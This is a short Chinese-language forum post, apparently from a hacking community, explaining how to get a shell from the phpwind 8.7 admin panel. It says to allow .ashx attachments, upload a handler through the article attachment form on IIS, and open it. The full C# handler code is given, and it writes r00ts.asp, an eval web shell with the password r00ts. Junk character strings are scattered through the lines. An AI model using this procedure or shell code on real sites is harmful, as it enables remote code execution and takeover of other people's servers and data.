phpwind 8.7 后台拿shell

admin

首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小

群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx

发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整
7 d( L9 Q) W, m3 c' Q
# Q7 J* N9 U+ e8 H; ]- f; }8 s- s8 I然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx

' ~) Z( |4 k' y打开之后空白 会在目录底下生成r00ts.asp 密码r00ts

下面是代码:
0 I/ v2 l: ]; k1 [, l! U
8 ^) m0 Q" J9 v7 Y3 o/ m<%@ WebHandler Language="C#"Class="Handler" %>
$ I, X' X2 l( w/ t, S( Qusing System;
! w& e9 U% `% Fusing System.Web;
using System.IO;
4 k" ?  |0 I# Dpublic class Handler : IHttpHandler {
public void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";
9 C* {$ J8 {: `6 y, j  N% E, ]StreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));
( d8 [$ F! h% ^5 w+ I2 n1 T+ s) yfile1.Write("<%eval request(\"r00ts\")%>");
' q0 e6 H9 s. i. n: T5 R4 @file1.Flush();
file1.Close();
}
2 i6 W+ ]  h& Y1 K+ p* I% ?public bool IsReusable {
, [( u$ X0 q3 j- m* m& ~2 K$ oget {
" e+ _( _* h+ U& N2 xreturn false;
}
}
}
4 V  U3 s5 b5 c5 {7 A$ e/ P: ]7 l